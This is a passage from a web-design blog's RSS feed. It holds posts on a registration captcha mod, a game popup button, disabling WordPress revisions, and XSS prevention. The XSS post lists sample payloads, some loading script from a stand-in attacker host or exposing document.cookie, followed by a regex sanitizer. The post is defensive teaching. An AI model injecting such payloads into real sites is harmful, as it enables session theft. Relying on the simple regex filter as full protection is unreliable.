&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$form</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setError</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$field</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;* captcha incorrect&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$subcaptcha</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$subcaptcha</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></div>
<div style="height:30px">&nbsp;</div>
<p><strong>2 &#8211; Open:</strong> engine/modules/register.php</p>
<p>&nbsp;<strong>2a. Find:</strong> (about line 26)</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$retval</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$user</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">register</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'user_name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pass_word'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'email'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <strong>Replace with:</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$retval</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$user</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">register</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'user_name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pass_word'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'email'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'captcha'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<div style="height:20px">&nbsp;</div>
<p>&nbsp;<strong>2b. Find: (about line 109)</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;td&gt;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$form</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">error</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;email&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/td&gt;&lt;/tr&gt;</div></div>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <strong>Add BELOW:</strong></p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span>&gt;</span>Captcha:<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">img</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;captcha/php_captcha.php&quot;</span>&gt;</span> <span style="color: #ddbb00;">&amp;nbsp;</span><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;captcha&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">style</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;width:65px;position:relative;bottom:5px;&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&lt;?php echo $form-&gt;</span></span>value(&quot;captcha&quot;); ?&gt;&quot; /&gt;<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span>&gt;&lt;?php echo $form-&gt;</span>error(&quot;captcha&quot;); ?&gt;<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">tr</span>&gt;</span></div></div>
<div style="height:30px">&nbsp;</div>
<p>&nbsp;<strong>3. Upload:</strong> /captcha/ folder to your site root</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a  title='WebWoW Captcha' href='http://abeontech.com/?wpdmact=process&did=MS5ob3RsaW5r' style="background:url('http://abeontech.com/wp-content/plugins/download-manager/icon/download.png') no-repeat;padding:3px 12px 12px 28px;font:bold 10pt verdana;">Download Captcha Files</a></p>
<p>Please let me know if you find any errors or have any problems.</p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/422-webdesign-webwow-captcha-on-registration-mod/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Intelligent Full Screen Button</title>
		<link>http://abeontech.com/333-webdesign-intelligent-full-screen-button</link>
		<comments>http://abeontech.com/333-webdesign-intelligent-full-screen-button#comments</comments>
		<pubDate>Tue, 03 Mar 2009 12:52:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[AV Arcade]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.abeontech.com/?p=332</guid>
		<description><![CDATA[The area usable for containing the games in AV Arcade's default template is about 650px, which is fine for most games. Some other templates, on the other hand, use an area a lot smaller to contain the main Flash Game.

Some games I have on my Online Arcade use a width of up to 800px, which can over lap the sidebars and hide their content.

It's a simple problem to fix and can even help boost your arcade sites earnings a little...]]></description>
			<content:encoded><![CDATA[<p>I think it&#8217;s a widely known fact that Flash Games are getting bigger. The resolutions are increasing as well as the file sizes. This may pose a problem if you use AV Arcade to manage your arcade sites&#8217; content.</p>
<p>The area usable for containing the games in AV Arcade&#8217;s default template is about 650px, which is fine for most games. Some other templates, on the other hand, use an area a lot smaller to contain the main Flash Game.</p>
<p>Some games I have on my <a href="http://www.nowares.net">Online Arcade Games</a> site use a width of up to 800px, which can over lap the sidebar and hide their content.</p>
<p>It&#8217;s a simple problem to fix and can even help boost your arcade sites earnings a little&#8230;</p>
<p><span id="more-333"></span></p>
<h2>The Fix</h2>
<p>Upload a button or picture to:<br />
*Yoursite.com*/templates/*YourTemplate*/images/play-fullscreen.png</p>
<p><strong>Open:</strong><br />
*Yoursite.com*/content/game.php</p>
<p><strong>Search For:</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #b1b100;">else</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;object width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'width'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'height'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;param name=&quot;movie&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'url'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;embed src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'url'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'width'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'height'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;/embed&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;/object&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">4</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'filetype'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span></div></div>
<p><strong>Add Above:</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'width'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">640</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;em style='font-size:1.4em;'&gt;&lt;strong&gt;<span style="color: #006699; font-weight: bold;">{$row['name']}</span>&lt;/strong&gt; uses a large resolution.&lt;br /&gt;<br />
&nbsp; Click the button below to play in it's correct screen size!&lt;/em&gt;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;a rel=&quot;nofollow&quot; href=&quot;#&quot;'</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&quot; onclick=&quot;javascript:window.open(\''</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'url'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'\',\'popup\',\'width='</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'width'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">',height='</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'height'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'\');&quot;&gt;&lt;img src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$template_url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/images/play-fullscreen.png&quot; alt=&quot;Full Size&quot; title=&quot;Play Full Size&quot; /&gt;&lt;/a&gt;'</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>The above code will check if the game width is higher than 640px.<br />
If 640px + then it will create a popup window with the game inside. It pulls the game URL and size from the SQL database.<br />
When someone clicks the button the page will reload. So you should generate twice the adsense earnings from theses games&#8230; Which is a bonus.<br />
You could link to the built in full screen mod, but I could never get it to act how I wanted.</p>
<p>I have been asked a few times about this, so thought I&#8217;d post a fix.<br />
Hope someone finds it usefull.</p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/333-webdesign-intelligent-full-screen-button/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Disable Post Revisions</title>
		<link>http://abeontech.com/307-webdesign-disable-wordpress-post-revisions</link>
		<comments>http://abeontech.com/307-webdesign-disable-wordpress-post-revisions#comments</comments>
		<pubDate>Thu, 27 Nov 2008 18:26:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Addon]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.abeontech.com/?p=307</guid>
		<description><![CDATA[If you have run a Wordpress blog for any length of time, you should know how large the SQL database can get.

This is largely due to the "Post Revisions", which get auto-saved.
If you edit a post a few times, a huge list of revisions gets saved to the database.

This post has easy methods to disable and delete the post revisions, which are automatically cached by Wordpress.]]></description>
			<content:encoded><![CDATA[<p>If you have run a <a href="http://www.wordpress.org">WordPress</a> blog for any length of time, you should know how large the SQL database can get.</p>
<p>This is largely due to the &#8220;Post Revisions&#8221;, which get auto-saved.<br />
If you edit a post a few times, a huge list of revisions gets saved to the database. You can see these at the bottom of the post editing page.</p>
<p>This post has easy methods to disable and delete the post revisions, which are automatically cached by WordPress.</p>
<p><span id="more-307"></span></p>
<p>If you don&#8217;t use or need the post revisions which Worpdress has already saved for you, then you can delete them all by using the SQL query below:</p>
<div class="codecolorer-container sql default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #993333; font-weight: bold;">DELETE</span> <span style="color: #993333; font-weight: bold;">FROM</span> wp_posts <span style="color: #993333; font-weight: bold;">WHERE</span> post_type<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'revision'</span>;</div></div>
<p>You can also disable it from executing to start with by opening <strong>wp-config.php</strong> in your blog&#8217;s home directory.<br />
Search for:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DB_COLLATE'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>And add this under it:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WP_POST_REVISIONS'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'AUTOSAVE_INTERVAL'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">600</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>There is also a great WordPress Plug-in called <a href="http://wordpress.org/extend/plugins/wp-cms-post-control/">WP-CMS Post Control</a>, which gives you more control over how posts are edited.<br />
This great WordPress plugin will allow you to:</p>
<ul>
<li>Force standard browser upload instead of Flash upload</li>
<li>Turn off the revisions feature</li>
<li>Turn off the auto save feature</li>
<li>Create a collapsable message panel that appears below the write panel</li>
<li>Control which options are shown on the post page</li>
</ul>
<p>I prefer to use the manual method, as too many plug-ins for WordPress can cause problems.</p>
<p>I don&#8217;t know anyone that has found the post revisions that WordPress saves, usefull.<br />
Maybe in a future edition (v2.7 hopefully), they will include an option to disable from the admin control panel. But untill then thousands of blog owners will have to do it manually or use a plugin!</p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/307-webdesign-disable-wordpress-post-revisions/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>XSS and web form security</title>
		<link>http://abeontech.com/232-security-xss-and-web-form-security</link>
		<comments>http://abeontech.com/232-security-xss-and-web-form-security#comments</comments>
		<pubDate>Thu, 13 Nov 2008 19:24:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.abeontech.com/?p=232</guid>
		<description><![CDATA[There are many instances when user input is needed. But allowing just any code to be passed can cause severe problems and lead to even the most annoying 10 year old script kiddie writing PWND all over website!

There a are some simple steps which you can take to prevent most of these.
This article will go over some of the fundamental xss attacks and how to stop them.]]></description>
			<content:encoded><![CDATA[<p>There are many instances when user input is needed. But allowing just any code to be passed can cause severe problems and lead to even the most annoying 10 year old script kiddie writing &#8220;PWND&#8221; all over website!</p>
<p>There a are some simple steps which you can take to prevent most of these.<br />
This article will go over some of the fundamental <abbr title="Cross Site Scripting">XSS</abbr> attacks and how to stop them.</p>
<p><span id="more-232"></span></p>
<blockquote><p>As of 2007, cross-site scripting carried out on websites were roughly 80% of all documented security vulnerabilities. Often during an attack &#8220;everything looks fine&#8221; to the end-user who may be subject to unauthorized access, theft of sensitive data, and financial loss.</p></blockquote>
<p><strong><a href="http://en.wikipedia.org/wiki/Cross-site_scripting">Cross-site scripting</a> (XSS)</strong> is, in short, a way of injecting code by a malicious web user. The code can be used for anything from displaying a persistent pop-up or crashing the browser, to including remote files to run scripts and steal cookies!</p>
<h2>What code do I need to sanitize?</h2>
<p><span class="dropcap">W</span>hat will this magical code look like?<br />
That&#8217;s an easy question to avoid as there are many ways to mess with a website that gives permission to post raw code! Not all XSS attacks will work on all websites or even all broswers. So you may see someone testing with strange looking code before you see some, if any, form of attack.</p>
<p>For this reason, I think it&#8217;s best to implement some form of <a href="http://en.wikipedia.org/wiki/BBCode">BBCode</a> system.<br />
But more on that later&#8230;</p>
<p>A few common XSS codes could include&#8230;</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span><span style="color: #000066; font-weight: bold;">while</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;XSS&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;Hackers-Site.com/xss.js&quot;</span><span style="color: #339933;">&gt;&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">/</span>src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;Hackers-Site.com/xss.js&quot;</span><span style="color: #339933;">&gt;&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span>`javascript<span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;XSS&quot;</span><span style="color: #009900;">&#41;</span>`<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>style type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'XSS'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">&lt;/</span>style<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>img <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #3366CC;">&quot;&gt;&lt;script&gt;alert(&quot;</span>XSS<span style="color: #3366CC;">&quot;)&lt;/script&gt;&quot;</span><span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">cookie</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;&lt;/</span>script<span style="color: #339933;">&gt;;</span></div></div>
<p>Most of these examples will just show an annoying pop-up saying &#8220;XSS&#8221;, but could be used for more malicious purposes.</p>
<p>If any of the above <abbr title="Cross Site Scripting">XSS</abbr> examples are allowed to be displayed as output from your page, you have could have serious problems!</p>
<p>As mentioned above, there are MANY ways to abuse a website that doesn&#8217;t check what your posting or submitting.<br />
It may seem like a good idea to ask for visitors comments or asking for an email address for news subscriptions, but it&#8217;s worth checking what content will be displayed when the form is submitted.</p>
<h2>How can I prevent XSS attacks?</h2>
<p><span class="dropcap">A</span>ny code that can be submitted by a user should be validated or filtered in someway. Steps need to be taken to ensure malicious code can&#8217;t be executed on output.</p>
<p>Non-crucial pages like a confirmation page don&#8217;t need full validation. But, if a feedback form is allowed to go unchecked it could mean a cookie stealer gets injected and your customers details get stolen!</p>
<p>Generally speaking, it&#8217;s best to validate of any forms or inputted data submitted to your web site. Validating the data on input (rather than output) not only helps prevent possible attacks more effectively, but also makes sure only clean code gets entered into the database.</p>
<p>There are other benefits to cleaning up the code before it gets entered into the database. One great advantage is clean output to an administration section.</p>
<p>Let&#8217;s take my <a href="http://www.nowares.net/">Free Online Arcade</a> as an example:<br />
If I decided to ask for visitors to submit games to the website, I could just use a simple textbox to ask for the embeddable code to be entered. If the submitted content wasn&#8217;t validated in some way an attacker could inject a cookie stealer to hijack the administrators session! Flash code would not even be required if no form of validation is used, so I could just use embed a cookie stealer and a game together.</p>
<p>In an idea world, ever input field would be validated to ensure clean output. But that can be very time consuming.</p>
<blockquote><p>When accepting data from a user, any data at all, it should be sanitized before making its way to your database.<br />
&#8230;..<br />
We’ll scan through the input, searching for anything that shouldn’t be there, like html code, &lt;script&gt; tags, etc<br />
&#8230;..<br />
To use, we simply pass any input to the function. The function works on single strings, as well as deep arrays.</p></blockquote>
<p><strong>Denham Coote&#8217;s Blog</strong> has a great article on <a href="http://www.denhamcoote.com/php-howto-sanitize-database-inputs">Stripping out malicious code</a> for PHP, which is easy to implement and very effective.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span><br />
<span style="color: #000000; font-weight: bold;">function</span> cleanInput<span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<br />
<span style="color: #000088;">$search</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'@&lt;script[^&gt;]*?&gt;.*?&lt;/script&gt;@si'</span><span style="color: #339933;">,</span> &nbsp; <span style="color: #666666; font-style: italic;">// Strip out javascript</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'@&lt;[\/\!]*?[^&lt;&gt;]*?&gt;@si'</span><span style="color: #339933;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #666666; font-style: italic;">// Strip out HTML tags</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'@&lt;style[^&gt;]*?&gt;.*?&lt;/style&gt;@siU'</span><span style="color: #339933;">,</span> &nbsp; &nbsp;<span style="color: #666666; font-style: italic;">// Strip style tags properly</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'@&lt;![\s\S]*?--[ \t\n\r]*&gt;@'</span> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Strip multi-line comments</span><br />
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$search</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$output</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p><strong>Whenever you make a form you should not leave it alone without any form validation. Why? Because there is no guarantee that the input is correct and processing incorrect input values can make your application give unpredictable result.</strong></p>
<p><a href="http://www.php-mysql-tutorial.com/form-validation-with-php.php">Form Validation With PHP</a> covers the subject in a little more detail. The article includes full source code and examples.</p>
<h2>Closing Notes</h2>
<p><span class="dropcap">T</span>o sum it all up&#8230; Trust No One!<br />
Try to validate any code that will be submitted to the database or displayed on the website, even if only to remove the script tag.</p>
<p>In my opinion it&#8217;s a good idea to try and think like a hacker. Spam test your site before putting any changes in place. Try to execute some annoying javascript. Could you include remote javascript files? Will malformed tags allow injection?</p>
<p><strong>If you can do it, the hackers can generally do worse!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/232-security-xss-and-web-form-security/feed</wfw:commentRss>
